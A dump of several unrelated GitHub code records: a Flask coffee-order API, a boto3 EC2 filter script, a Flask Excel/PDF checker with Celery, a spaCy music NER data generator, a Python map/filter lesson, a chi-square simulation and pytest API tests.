we do not have what you order. The following is our menu.\", coffee), 400\n return jsonify(\"You can not amend the order details.\"), 400\n except:\n return jsonify(\"Data is not valid.\"),400\n\n#pick up specific order\n@app.route(\"/coffee/pickup/order/\", methods=['patch'])\ndef pickup_order(id):\n for st in database:\n if (st.id == id):\n if (st.status==\"paid\" or st.status==\"unpaid\"):\n if (st.coffee_status!=\"released\"):\n st.coffee_status=\"picked_up\"\n return jsonify(st.__dict__), 200\n return jsonify(\"The order has been released.\"), 400\n return jsonify(\"The order dose not exist.\"), 400\n\n#check if the order is paid and release otherwise will not release the order\n@app.route(\"/coffee/release/order/\", methods=['patch'])\ndef release_order(id):\n for st in database:\n if (st.id == id):\n if (st.status==\"paid\" and st.coffee_status==\"picked_up\"):\n st.coffee_status=\"released\"\n return jsonify(st.__dict__), 200\n if st.coffee_status==\"released\":\n return jsonify(\"The order has been released.\"), 400\n if st.coffee_status==\"unpaid\":\n return jsonify(\"The order has not been paid.\"), 400\n return jsonify(\"The order dose not exist or the coffee has not been picked up.\"), 400\n\n#delete specific order\n@app.route(\"/coffee/delete/order/\", methods=['DELETE'])\ndef delete_order(id):\n for st in database:\n if (st.id == id and st.status == \"unpaid\"):\n database.remove(st)\n return jsonify(\"You have successfully deleted the order.\"), 200\n return jsonify(\"The order has been paid or the order dose not exist.\"), 404\n\n#create payment for specific order\n@app.route(\"/coffee/payment/order/\", methods=['put'])\ndef create_payment(id):\n data = request.get_data().decode()\n try:\n data = json.loads(data)\n if (data['type_payment']):\n for st in database:\n if (st.id == id and st.status==\"unpaid\" and data['type_payment']==\"card\"):\n if (data['cardNo'] and data['name'] and data['expires'] and type(data['cardNo'])==int and type(data['name']==str) and datetime.datetime.strptime(data['expires'], '%Y-%m-%d')):\n currentdate = datetime.datetime.now().date()\n inputdate = datetime.datetime.strptime(data['expires'], '%Y-%m-%d')\n if (inputdate.date() > currentdate):\n st.status=\"paid\"\n st.type_payment = data['type_payment']\n st.cardNo = data['cardNo']\n st.name = data['name']\n st.expires = data['expires']\n st.amount = st.cost\n st.next=\"\"\n return jsonify(id=st.id, type_payment=st.type_payment, cardNo=st.cardNo, name=st.name,\n expires=st.expires, amount=st.amount), 200\n return jsonify(\"Your card has expired.\"), 400\n return jsonify(\"Please fill out the card info and using correct type.\"),400\n if (st.id == id and st.status == \"unpaid\" and data['type_payment'] == \"cash\"):\n st.status = \"paid\"\n st.amount = st.cost\n st.type_payment=data['type_payment']\n st.next = \"\"\n return jsonify(id=st.id, type_payment=st.type_payment,amount=st.amount), 200\n return jsonify(\"You can only pay the payment by cash or card or You have paid for the order.\"),400\n return jsonify(\"Please select a payment type.\"),400\n except:\n return jsonify(\"Data is not valid.\"),400\n\n#get the payment details of the a specific order\n@app.route(\"/coffee/get/payment/\", methods=['GET'])\ndef get_payment(id):\n for st in database:\n if (st.id == id and st.status==\"paid\" and st.type_payment==\"card\"):\n return jsonify(id=st.id,type_payment=st.type_payment,cardNo=st.cardNo,name=st.name,expires=st.expires,amount=st.amount),200\n if (st.id == id and st.status==\"paid\" and st.type_payment==\"cash\"):\n return jsonify(id=st.id, type_payment=st.type_payment, amount=st.amount), 200\n return jsonify(\"The order has not been paid.\"), 404\n return jsonify(\"The order is not exist.\"), 404\n\nif __name__ == \"__main__\":\n app.run()\n","repo_name":"SFMASTER66/Building-RESTful-APIs","sub_path":"service/ass1.py","file_name":"ass1.py","file_ext":"py","file_size_in_byte":8577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"24397362580","text":"import boto3\n\naws_con = boto3.session.Session(profile_name=\"default\")\nec2_con = aws_con.resource(service_name=\"ec2\", region_name=\"ap-south-1\")\n\nf1 = {'Name':'instance-type','Values':['t2.micro']}\nf2 = {'Name':'tag:Context2', 'Values':['boto3_course_filter']}\nf3 = {'Name':'tag:Context', 'Values':['boto3_course']}\nfor each_ins in ec2_con.instances.filter(Filters=[f2]):\n print(each_ins.id, each_ins.state)\n\nfor each_ins in ec2_con.instances.filter(Filters=[f3], InstanceIds=['i-055e5e7a6aac1f0c4'], DryRun=True):\n print(each_ins.id, each_ins.state)\n","repo_name":"VenkiPhy6/Boto3_work","sub_path":"06_filtered_list_ec2.py","file_name":"06_filtered_list_ec2.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"23777546171","text":"import sys\nimport os\nimport random\nimport time\nfrom flask import Flask, request, render_template, jsonify, make_response, send_file, flash, url_for, redirect, Markup, Response\nimport pyexcel\nimport HTML\nimport pdfkit\nimport zipfile\nimport datetime\nfrom celery import Celery\nimport uuid\n\napp = Flask(__name__)\napp.secret_key = 'some_secret'\napp.config['CELERY_BROKER_URL'] = 'redis://localhost:6379/0'\napp.config['CELERY_RESULT_BACKEND'] = 'redis://localhost:6379/0'\napp.config['UPLOAD_FOLDER'] = 'uploads/'\n\ncelery = Celery(app.name, broker=app.config['CELERY_BROKER_URL'])\ncelery.conf.update(app.config)\n\n\n@celery.task(bind=True)\ndef long_task(self):\n\t\"\"\"Background task that runs a long function with progress reports.\"\"\"\n\tarray = os.listdir(app.config['UPLOAD_FOLDER'])\n\tself.update_state(state='PROGRESS',meta={'current': 0, 'total': 1, 'status': 'working...'})\n\tfor i in array:\n\t\tif '.xlsx' in i:\n\t\t\tfilename = i\n\twb = pyexcel.get_sheet(file_name=str(os.path.join(app.config['UPLOAD_FOLDER'], filename)))\n\tfor i in range(0,10):\n\t\tnumber = i * i\n\t\tself.update_state(state='PROGRESS',meta={'current': i, 'total': 10, 'status': number})\n\t\ttime.sleep(1)\n\treturn {'current': 100, 'total': 100, 'status': 'Task completed!','result': 200}\n\n@app.route('/longtask', methods=['POST'])\ndef longtask():\n\ttask = long_task.apply_async()\n\treturn jsonify({}), 202, {'Location': url_for('taskstatus', task_id=task.id)}\n\n@app.route('/status/')\ndef taskstatus(task_id):\n\ttask = long_task.AsyncResult(task_id)\n\tif task.state == 'PENDING':\n\t\tresponse = {\n\t\t\t'state': task.state,\n\t\t\t'current': 0,\n\t\t\t'total': 1,\n\t\t\t'status': 'Pending...'\n\t\t}\n\telif task.state != 'FAILURE':\n\t\tresponse = {\n\t\t\t'state': task.state,\n\t\t\t'current': task.info.get('current', 0),\n\t\t\t'total': task.info.get('total', 1),\n\t\t\t'status': task.info.get('status', '')\n\t\t}\n\t\tif 'result' in task.info:\n\t\t\tresponse['result'] = task.info['result']\n\telse:\n\t\t# something went wrong in the background job\n\t\tresponse = {\n\t\t\t'state': task.state,\n\t\t\t'current': 1,\n\t\t\t'total': 1,\n\t\t\t'status': str(task.info), # this is the exception raised\n\t\t}\n\treturn jsonify(response)\n\n@app.route('/', methods=['GET', 'POST'])\ndef upload():\n\tif request.method == 'POST' and 'excel' in request.files:\n\t\tfile = request.files['excel']\n\t\tfilename = request.files['excel'].filename\n\t\tfile.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n\treturn render_template(\"upload.html\")\n\n@app.route(\"/checker\", methods=['GET', 'POST'])\ndef checker():\n\ttoday = datetime.date.today().strftime(\"%m-%d-%Y\")\n\tif request.method == 'POST':\n\t\tnumbers = request.form.getlist('accounts')\n\t\tcurrent_date = request.form.getlist('date')\n\t\taccountlist = numbers[0].splitlines()\n\t\taccountlist = [i.strip() for i in accountlist]\n\t\tmissing_account = []\n\t\tmissing_count = 0\n\t\tfor i in range(0,len(accountlist)):\n\t\t\tif os.path.exists('/mnt/consentorders/' + str(current_date[0]) + '/' + str(accountlist[i]) + '.pdf') == False:\n\t\t\t\tflash(Markup(str(accountlist[i]).strip()))\n\t\t\t\tmissing_count += 1\n\t\tflash(Markup(\"There was \" + str(missing_count) + \" missing account(s)\"))\n\t\treturn render_template('checker.html')\n\treturn render_template('checker.html', today=today)\n\n@app.route(\"/delete\", methods=['GET', 'POST'])\ndef delete():\n\ttoday = datetime.date.today().strftime(\"%m-%d-%Y\")\n\tif request.method == 'POST':\n\t\tnumbers = request.form.getlist('accounts')\n\t\tcurrent_date = request.form.getlist('date')\n\t\taccountlist = numbers[0].splitlines()\n\t\taccountlist = [i.strip() for i in accountlist]\n\t\tdelete_account = []\n\t\tdelete_count = 0\n\t\tfor i in range(0,len(accountlist)):\n\t\t\tif os.path.exists('/mnt/consentorders/' + str(current_date[0]) + '/' + str(accountlist[i]) + '.pdf') == True:\n\t\t\t\tos.remove('/mnt/consentorders/' + str(current_date[0]) + '/' + str(accountlist[i]) + '.pdf')\n\t\t\t\tflash(Markup(str(accountlist[i]).strip()))\n\t\t\t\tdelete_count += 1\n\t\tflash(Markup(\"There was \" + str(delete_count) + \" account(s) deleted.\"))\n\t\treturn render_template('delete.html')\n\treturn render_template('delete.html', today=today)\n\nif __name__ == \"__main__\":\n\t# start web server\n\tapp.run(\n\t\t#debug=True\n\t\tthreaded=True,\n\t\thost='0.0.0.0',\n\t\tport=80\n\t)\n","repo_name":"haincha/excel2pdf","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"72588078560","text":"import random\nfrom tqdm import tqdm\nfrom spacy.tokens import DocBin\nimport spacy\nimport sys\nsys.path.append('../')\nfrom helpers.json_functions import load_data, save_data\n\n\npatterns = [\n \"Play\",\n \"Hello give me\",\n \"Play\",\n \"Can you play\",\n \"Give me some\",\n \"hi, can u play\",\n \"hello can u play me\",\n \"Hi, play me\",\n \"Hi musichub, can you play me\",\n \"Hello! Are you able to play me\",\n \"can you play me\",\n \"Play me\",\n \"Hey music hub! Play me\",\n \"hi can u play me:\",\n \"sup music hub play me\",\n \"play\",\n \"Hello my friend, im fealing great today can u play\",\n \"Hello how are you doin, im here for some\",\n \"im here for\",\n \"Hi bro can u play\",\n \"Hi can you play me\",\n \"Play some music\",\n \"Hey Music Hub, gimme some\",\n \"Hey MusicHub, play\",\n \"I'm in the mood for some music. Can you play\",\n \"I'm feeling nostalgic. Can you play\",\n \"Hey Music Hub, can you play\",\n \"Hey MusicHub, can you play\",\n \"can you play:\",\n \"Play some of\",\n \"Give me something\",\n \"Can you play some\",\n \"Play\",\n \"play\",\n \"Yo music hub, play\",\n \"Sup music hub can u play\",\n \"play:\",\n \"Play:\",\n \"whats up music hub play me\",\n \"hello music hub, lets play\",\n \"lets hear a\",\n \"play me\",\n \"Play\",\n \"play some\",\n \"Hi, play\",\n \"Hello, play\",\n \"Hi MusicHub! Can u play\",\n \"Hello musichub, play\",\n \"Can you play some\",\n \"lets play some\",\n \"Can i get\",\n \"Can i get some\",\n \"I'm in the mood for some\",\n \"Gimme\",\n \"Gimme some\",\n \"I want to listen to:\",\n \"I'm feeling like some\",\n \"Im feeling\",\n \"Can you put on some\",\n \"I'm in the mood for\",\n \"put some\",\n \"hi music hub, lets hear\",\n \"i want\",\n \"i need\",\n \"give me some\",\n \"i wanna hear some\",\n \"I kinda want some\",\n \"i want to listen to\",\n \"Im feeling that i want to listen to\",\n \"I feel like listening to\",\n \"I feel i want to hear\",\n \"Im feeling that i want to hear\",\n]\n\nalbum_am = [\"\", \"\", \"-\", \"by\", \"from\", \",\"]\nalbum_sm = [\"\", \"\", \"-\", \",\"]\nalbum_s = [\"\", \"\", \"\", \"album\", \"please\"]\n\nartist_p = [\"\", \"\", \"\", \"\", \"\", \"popular\", \"new\",\n \"new popular\", \"fresh\", \"fire from\", \"good\", \"nice\"]\nartist_m = [\"\", \"\", \"\", \"-\", \",\", \"'s\", \"s\"]\nartist_ma = [\"\", \"\", \"ft.\", \"ft\", \"feat\",\n \"feat.\", \"featuring\", \"x\", \"and\", \"with\", \",\"]\nartist_sg = [\"\", \"\", \"\", \"hit\", \"vibe\", \"tune\", \"songs\",\n \"hits\", \"tunes\", \"track\", \"tracks\", \"music\", \"please\"]\nartist_ss = [\"\", \"\", \"\", \"song\"]\nartist_sa = [\"\", \"\", \"\", \"album\"]\n\ngenre_p = [\"\", \"\", \"\", \"popular\", \"new\", \"new popular\", \"fresh\", \"top\"]\ngenre_s = [\"\", \"\", \"\", \"song\", \"hit\", \"album\", \"vibe\", \"tune\", \"songs\", \"hits\",\n \"albums\", \"tunes\", \"track\", \"tracks\", \"music\", \"genre\", \"genres\", \"please\"]\n\ninstrument_s = [\"\", \"\", \"\", \"vibe\", \"music\", \"sound\", \"music\", \"please\"]\n\nsong_mal = [\"\", \"\", \"-\", \",\", \"from\"]\nsong_mar = [\"\", \"\", \"-\", \"by\", \"from\", \",\"]\nsong_s = [\"\", \"\", \"\", \"song\", \"please\"]\n\n\ndef label_entity(text: str, entity: str) -> tuple:\n \"\"\"\n Adds the entity to the text and labels it as a MUSIC entity, with the start and end positions in the text.\n\n Args:\n - text (str): The text to add the entity to.\n - entity (str): The entity to add to the text.\n\n Returns:\n - A tuple containing the text with the entity added and a tuple containing the label information.\n \"\"\"\n text += \" \"\n start = len(text)\n text += entity\n end = len(text)\n return [text, (start, end, \"MUSIC\")]\n\n\ndef generate_albums_td(albums_data: list, artists_data: list, songs_data: list) -> list:\n \"\"\"\n Generates random text training data for albums based on a set of pre-defined patterns.\n\n Args:\n - albums_data (list): A list of albums.\n - artists_data (list): A list of artists.\n - songs_data (list): A list of songs.\n\n Returns:\n - A list of generated sentences along with their corresponding entities. Each entry is represented as a tuple\n containing the generated text and a dictionary with the entities represented as tuples containing the start\n and end positions of the entity in the generated text and the entity type (in this dataset all entities have type \"MUSIC\").\n \"\"\"\n print(\"Generating albums data\")\n data = []\n for album in tqdm(albums_data):\n pattern = random.choice(patterns)\n text = pattern\n entities = []\n text, entity = label_entity(text, album)\n entities.append(entity)\n choice = random.randint(1, 3)\n \"\"\"\n 1 - album\n 2 - album artist(1-3)\n 3 - album song\n \"\"\"\n if choice == 1:\n pass\n elif choice == 2:\n mid = random.choice(album_am)\n if mid:\n if mid == \",\":\n text += mid\n else:\n text += \" \" + mid\n num_of_artists = random.randint(1, 3)\n for i in range(num_of_artists):\n artist = random.choice(artists_data)\n text, entity = label_entity(text, artist)\n entities.append(entity)\n if i != num_of_artists - 1:\n text += \" \" + random.choice(artist_ma)\n else:\n mid = random.choice(album_sm)\n if mid:\n if mid == \",\":\n text += mid\n else:\n text += \" \" + mid\n song = random.choice(songs_data)\n text, entity = label_entity(text, song)\n entities.append(entity)\n\n sufix = random.choice(album_s)\n if sufix:\n text += \" \" + sufix\n\n result = [text, {\"entities\": entities}]\n # print(result)\n data.append(result)\n return data\n\n\ndef generate_artists_td(albums_data: list, artists_data: list, songs_data: list) -> list:\n \"\"\"\n Generates random text training data for artists based on a set of pre-defined patterns.\n\n Args:\n - albums_data (list): A list of albums.\n - artists_data (list): A list of artists.\n - songs_data (list): A list of songs.\n\n Returns:\n - A list of generated sentences along with their corresponding entities. Each entry is represented as a tuple\n containing the generated text and a dictionary with the entities represented as tuples containing the start\n and end positions of the entity in the generated text and the entity type (in this dataset all entities have type \"MUSIC\").\n \"\"\"\n print(\"Generating artists data\")\n data = []\n for artist in tqdm(artists_data):\n pattern = random.choice(patterns)\n text = pattern\n prefix = random.choice(artist_p)\n if prefix:\n text += \" \" + prefix\n entities = []\n text, entity = label_entity(text, artist)\n entities.append(entity)\n # add more artists\n num_of_artists = random.randint(1, 3)\n if num_of_artists > 1:\n num_of_artists -= 1\n for _ in range(num_of_artists):\n text += \" \" + random.choice(artist_ma)\n artist = random.choice(artists_data)\n text, entity = label_entity(text, artist)\n entities.append(entity)\n choice = random.randint(1, 3)\n \"\"\"\n 1 - artist (1-3 artists)\n 2 - artist (1-3 artists) album\n 3 - artist (1-3 artists) song\n \"\"\"\n if choice == 1:\n sufix = random.choice(artist_sg)\n if sufix:\n text += \" \" + sufix\n elif choice == 2:\n mid = random.choice(artist_m)\n if mid:\n if mid == \"'s\" or mid == 's':\n text += mid\n else:\n text += \" \" + mid\n album = random.choice(albums_data)\n text, entity = label_entity(text, album)\n entities.append(entity)\n sufix = random.choice(artist_sa)\n if sufix:\n text += \" \" + sufix\n else:\n mid = random.choice(artist_m)\n if mid:\n text += \" \" + mid\n song = random.choice(songs_data)\n text, entity = label_entity(text, song)\n entities.append(entity)\n sufix = random.choice(artist_ss)\n if sufix:\n text += \" \" + sufix\n\n result = [text, {\"entities\": entities}]\n # print(result)\n data.append(result)\n return data\n\n\ndef generate_genres_td(genres_data: list) -> list:\n \"\"\"\n Generates random text training data for music genres based on a set of pre-defined patterns.\n\n Args:\n - genres_data (list): A list of genres.\n\n Returns:\n - A list of generated sentences along with their corresponding entities. Each entry is represented as a tuple\n containing the generated text and a dictionary with the entities represented as tuples containing the start\n and end positions of the entity in the generated text and the entity type (in this dataset all entities have type \"MUSIC\").\n \"\"\"\n print(\"Generating genres data\")\n data = []\n for genre in tqdm(genres_data):\n pattern = random.choice(patterns)\n text = pattern\n prefix = random.choice(genre_p)\n if prefix:\n text += prefix\n entities = []\n text, entity = label_entity(text, genre)\n entities.append(entity)\n sufix = random.choice(genre_s)\n if sufix:\n text += \" \" + sufix\n result = [text, {\"entities\": entities}]\n # print(result)\n data.append(result)\n return data\n\n\ndef generate_instruments_td(instruments_data: list) -> list:\n \"\"\"\n Generates random text training data for instruments based on a set of pre-defined patterns.\n\n Args:\n - instruments_data (list): A list of instruments.\n\n Returns:\n - A list of generated sentences along with their corresponding entities. Each entry is represented as a tuple\n containing the generated text and a dictionary with the entities represented as tuples containing the start\n and end positions of the entity in the generated text and the entity type (in this dataset all entities have type \"MUSIC\").\n \"\"\"\n print(\"Generating instruments data\")\n data = []\n for instrument in tqdm(instruments_data):\n pattern = random.choice(patterns)\n text = pattern\n entities = []\n text, entity = label_entity(text, instrument)\n entities.append(entity)\n sufix = random.choice(instrument_s)\n if sufix:\n text += \" \" + sufix\n\n result = [text, {\"entities\": entities}]\n # print(result)\n data.append(result)\n return data\n\n\ndef generate_songs_td(albums_data: list, artists_data: list, songs_data: list) -> list:\n \"\"\"\n Generates random text training data for songs based on a set of pre-defined patterns.\n\n Args:\n - albums_data (list): A list of albums.\n - artists_data (list): A list of artists.\n - songs_data (list): A list of songs.\n\n Returns:\n - A list of generated sentences along with their corresponding entities. Each entry is represented as a tuple\n containing the generated text and a dictionary with the entities represented as tuples containing the start\n and end positions of the entity in the generated text and the entity type (in this dataset all entities have type \"MUSIC\").\n \"\"\"\n print(\"Generating songs data\")\n data = []\n for song in tqdm(songs_data):\n pattern = random.choice(patterns)\n text = pattern\n entities = []\n text, entity = label_entity(text, song)\n entities.append(entity)\n choice = random.randint(1, 3)\n \"\"\"\n 1 - song\n 2 - song album\n 3 - song artist (1-3 artists)\n \"\"\"\n if choice == 1:\n pass\n elif choice == 2:\n mid = random.choice(song_mal)\n if mid:\n if mid == \",\":\n text += mid\n else:\n text += \" \" + mid\n album = random.choice(albums_data)\n text, entity = label_entity(text, album)\n entities.append(entity)\n else:\n mid = random.choice(song_mar)\n if mid:\n text += \" \" + mid\n num_of_artists = random.randint(1, 3)\n for i in range(num_of_artists):\n artist = random.choice(artists_data)\n text, entity = label_entity(text, artist)\n entities.append(entity)\n if i != num_of_artists - 1:\n text += \" \" + random.choice(artist_ma)\n sufix = random.choice(song_s)\n if sufix:\n text += \" \" + sufix\n result = [text, {\"entities\": entities}]\n # print(result)\n data.append(result)\n return data\n\n\ndef export_data_to_json(filepath: str, albums: list, artists: list, genres: list, instruments: list, songs: list) -> None:\n \"\"\"\n Uses functions for generating training data for albums, artists, genres, instruments and songs, and appends it into an array.\n Shuffles the array containing all the training data and exports it as a JSON file to the specified file path.\n\n Args:\n filepath (str): The file path where the JSON file will be saved.\n albums: A list of albums.\n artists: A list of artists.\n genres: A list of genres.\n instruments: A list of instruments.\n songs: A list of songs.\n\n Returns:\n None\n \"\"\"\n data = []\n data.extend(generate_albums_td(albums, artists, songs))\n data.extend(generate_artists_td(albums, artists, songs))\n data.extend(generate_genres_td(genres))\n data.extend(generate_instruments_td(instruments))\n data.extend(generate_songs_td(albums, artists, songs))\n\n random.shuffle(data)\n save_data(filepath, data)\n print('Json data is saved and ready!')\n\n\ndef convert_to_spacy(json_file_path: str, spacy_file_path: str, data_start_pt: int = 0, data_end_pt: int = -1) -> None:\n \"\"\"\n Converts the data in the given JSON file (if the file exists) to Spacy format and saves it to the specified file path.\n\n Args:\n json_file_path (str): The file path of the JSON file containing the data.\n spacy_file_path (str): The file path where the Spacy file will be saved.\n data_start_pt (int): The index of the first data entry to be converted. Default value is 0.\n data_end_pt (int): The index of the last data entry to be converted. Default value is -1, which means that all the data will be converted.\n\n Returns:\n None\n \"\"\"\n print('Converting .json data to .spacy format')\n data = load_data(json_file_path)\n if data is not None:\n nlp = spacy.blank(\"en\")\n db = DocBin()\n if data_end_pt == -1:\n data_end_pt = len(data)\n for text, annotations in tqdm(data[data_start_pt:data_end_pt]):\n doc = nlp.make_doc(text)\n ents = []\n for start, end, label in annotations[\"entities\"]:\n span = doc.char_span(start, end, label=label)\n if span is not None:\n ents.append(span)\n doc.ents = ents\n db.add(doc)\n db.to_disk(spacy_file_path)\n print('Spacy data is saved and ready!')\n\n\ndef split_train_val_data(filepath: str, split: float) -> tuple[list, list]:\n \"\"\"\n Splits the data in the given file into training and validation sets, based on the specified split percentage.\n\n Args:\n filepath: The file path of the data file to be split.\n split: A float representing the percentage of data to be included in the training set.\n Must be a value between 0 and 1. If greater than 1, it will be interpreted as a percentage value.\n\n Returns:\n A tuple of two lists containing the training and validation data, respectively.\n \"\"\"\n data = load_data(filepath)\n if split > 1:\n split /= 100\n n = int(len(data) * split)\n data_tr = data[0:n]\n data_val = data[n+1:]\n return data_tr, data_val\n\nsplit = 0.7\n\nalbums_data_tr, albums_data_val = split_train_val_data(\n 'data/music_data/albums.json', split)\n\nartists_data_tr, artists_data_val = split_train_val_data(\n 'data/music_data/artists.json', split)\n\ngenres_data_tr, genres_data_val = split_train_val_data(\n 'data/music_data/genres.json', split)\n\ninstruments_data_tr, instruments_data_val = split_train_val_data(\n 'data/music_data/instruments.json', split)\n\nsongs_data_tr, songs_data_val = split_train_val_data(\n 'data/music_data/songs.json', split)\n\n\nexport_data_to_json('data/training_data.json', albums_data_tr,\n artists_data_tr, genres_data_tr, instruments_data_tr, songs_data_tr)\nconvert_to_spacy('data/training_data.json',\n 'data/training_data.spacy', 0, 350000)\n\n\nexport_data_to_json('data/validation_data.json', albums_data_val,\n artists_data_val, genres_data_val, instruments_data_val, songs_data_val)\nconvert_to_spacy('data/validation_data.json',\n 'data/validation_data.spacy', 0, 150000)\n","repo_name":"umilic16/musichub","sub_path":"named_entity_recognition/create_training_data.py","file_name":"create_training_data.py","file_ext":"py","file_size_in_byte":17115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"26620402862","text":"with open(\"num text.txt\") as sourse:\n n = int(sourse.readline())\n for i in range(n):\n a, b = map(int, sourse.readline().split())\n print(a, b)\n\"\"\"!! в строке 5 столбце 2 0 в начале не отображется\"\"\"\n\"\"\"Есть три способа вызова range():\n\nrange(стоп) берет один аргумент\nrange(старт, стоп) берет два аргумента\nrange(старт, стоп, шаг) берет три аргумента\"\"\"\n\nprint(a*b)\n\ndef f(a, b):\n return a * b\na = map(f, [5, 25, 256], [9, 2, 1]) # последовательно производить умножение элементов в списках\n# №1 на №1, №2 на №2 и тд\nprint(list(a))\n\ndef f(a, b):\n return a * b\na = map(lambda x: x*5, (25, 26, 9, 2, 8))\nprint(list(a))\n\n\"\"\"функция filter\"\"\"\n\ndef f(a):\n if a % 2 == 0:\n return a\n# функция сравнивает значение а с элементами списка, выводит четные, не четные пропускает\na = filter(f,(6, 6, 800, 7, 4, 9, 4))\nprint(list(a))\n\na = filter(lambda x: (x % 2 == 0), (8, 8, 2, 9, 4, 6, 4))\nprint(list(a))\n\nfrom functools import reduce\nprint(reduce(lambda a, b: a * b, (50, 48 ,96 ,30 ,80)))\n\nz = \"dfefs3\"\np = [23, 32, 57, 66, 34 ,45]\nresilt = zip(z, p)\nprint(list(resilt))\n","repo_name":"And6D/py","sub_path":"Yutube_p_tutor/lesson 15 map, filter etc.py","file_name":"lesson 15 map, filter etc.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"ru","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"16944690752","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport scipy\n\n#if using termux\n#import subprocess\n#import shlex\n#end if\n\n\n\nx = np.linspace(0,15,60) #points on the x axis\nsamples = int(1e6) #number of samples\nprob = [] #declaring probability list\npdf=[]\nX1 = np.random.normal(0, 1, samples)\nX2 = np.random.normal(0, 1, samples)\nV = X1**2 + X2**2\n\nfor i in range(60):\n count=0\n for j in V:\n if j < x[i]:\n count+=1\n prob.append(count/samples)\n\npdf = np.gradient(prob, x, edge_order=2)\n\ndef chi_pdf(x):\n\treturn np.exp(-x/2)/2\n\t\nvec_chi_pdf = scipy.vectorize(chi_pdf)\n\t\nplt.plot(x,pdf,label='simulated') # plotting estimated PDF\nplt.plot(x,vec_chi_pdf(x),'o',label='Theory')#plotting the PDF\nplt.grid() #creating the grid\nplt.xlabel('$x_i$')\nplt.ylabel('$p_V(x_i)$')\nplt.legend([\"Numerical\",\"Theory\"])\n\nplt.savefig('../../Figs/Chapter4/chisq_pdf.pdf')\nplt.savefig('../../Figs/Chapter4/chisq_pdf.png')\n\nplt.show()\n","repo_name":"dukkipativijay/Fwciith2022","sub_path":"Digital_Communication/Codes/Chapter4/sq_sum_pdf.py","file_name":"sq_sum_pdf.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"21604704112","text":"\nimport pytest\nimport requests\nfrom faker import Faker\nimport logging\nimport json\n\nfake = Faker()\n\nBASE_URL = 'https://gorest.co.in/public/v2/users/'\nACCESS_TOKEN = ''\n\n\nlogging.basicConfig(level=logging.DEBUG)\nlogger = logging.getLogger(__name__)\n\n\nclass JsonFormatter(logging.Formatter):\n def format(self, record):\n log_data = {\n 'timestamp': self.formatTime(record),\n 'level': record.levelname,\n 'message': record.getMessage(),\n 'module': record.module,\n 'filename': record.filename,\n 'lineno': record.lineno,\n }\n return json.dumps(log_data)\n\n\nlogging.basicConfig(level=logging.DEBUG)\nlogger = logging.getLogger(__name__)\nlog_file_path = 'debug_logs.json'\nfile_handler = logging.FileHandler(log_file_path, mode='w', encoding='utf-8')\njson_formatter = JsonFormatter()\nfile_handler.setFormatter(json_formatter)\nlogger.addHandler(file_handler)\n\ndef get_headers():\n return {\n 'Accept': 'application/json',\n 'Content-Type': 'application/json',\n 'Authorization': f'Bearer {ACCESS_TOKEN}',\n }\n\n@pytest.fixture(scope=\"module\")\ndef test_data():\n headers = get_headers()\n\n\n data = {\n 'name': fake.name(),\n 'gender': fake.random_element(elements=('male', 'female')),\n 'email': fake.email(),\n 'status': 'active'\n }\n response = requests.post(BASE_URL, json=data, headers=headers)\n assert response.status_code == 201\n response_data = response.json()\n\n\n user_id = response_data[\"id\"]\n\n\n logger.debug(f\"User created with ID: {user_id}\")\n logger.debug(f\"User data: {response_data}\")\n\n yield user_id, response_data\n\n@pytest.fixture(scope=\"function\")\ndef test_validate_new_user(test_data):\n user_id, post_data = test_data\n headers = get_headers()\n\n response = requests.get(f'{BASE_URL}/{user_id}', headers=headers)\n assert response.status_code == 200\n response_data = response.json()\n\n\n logger.debug(f\"Validating user with ID: {user_id}\")\n logger.debug(f\"Response data: {response_data}\")\n\n\n assert response_data[\"id\"] == user_id\n assert response_data[\"email\"] == post_data[\"email\"]\n assert response_data[\"name\"] == post_data[\"name\"]\n\n return response_data\n\n@pytest.fixture(scope=\"function\")\ndef test_updated_credentials(test_data):\n user_id, post_data = test_data\n headers = get_headers()\n\n test_data = {\n 'name': fake.name(),\n 'gender': fake.random_element(elements=('male', 'female')),\n 'email': fake.email(),\n 'status': 'active'\n }\n\n response = requests.patch(f'{BASE_URL}/{user_id}', json=test_data, headers=headers)\n assert response.status_code == 200\n patch_response_data = response.json()\n logger.debug(f\"User created with ID: {user_id}\")\n logger.debug(f\"User data: {patch_response_data}\")\n return patch_response_data\n\n@pytest.fixture(scope=\"function\")\ndef user_id(test_data):\n user_id, _ = test_data\n return user_id\n\n@pytest.fixture(scope=\"function\")\ndef test_validating_same_user_creds_updated(user_id):\n headers = get_headers()\n response = requests.get(f'{BASE_URL}/{user_id}', headers=headers)\n assert response.status_code == 200\n logger.debug(f\"User created with ID: {user_id}\")\n logger.debug(f\"User data: {response.json()}\")\n return response.json()\n\n@pytest.fixture(scope=\"function\")\ndef test_delete_user(user_id):\n headers = get_headers()\n\n response = requests.delete(f'{BASE_URL}/{user_id}', headers=headers)\n\n assert response.status_code == 204\n logger.debug(f\"Deleting user with ID: {user_id}\")\n logger.debug(f\"Response status code: {response.status_code}\")\n logger.debug(f\"Response data: {response.text}\")\n return response\n\n@pytest.fixture(scope=\"function\")\ndef test_verify_deleted_user(user_id):\n headers = get_headers()\n\n response = requests.get(f'{BASE_URL}/{user_id}', headers=headers)\n\n logger.debug(f\"Verifying user with ID: {user_id}\")\n logger.debug(f\"Response status code: {response.status_code}\")\n logger.debug(f\"Response data: {response.text}\")\n\n if response.status_code == 404:\n response_data = response.json()\n assert response_data.get(\"message\") == \"Resource not found\"\n return response\n\n\n logger.debug(f\"User exists with ID: {user_id}, proceeding with DELETE request\")\n\n delete_response = requests.delete(f'{BASE_URL}/{user_id}', headers=headers)\n\n assert delete_response.status_code == 204\n logger.debug(f\"Deleting user with ID: {user_id}\")\n logger.debug(f\"DELETE Response status code: {delete_response.status_code}\")\n 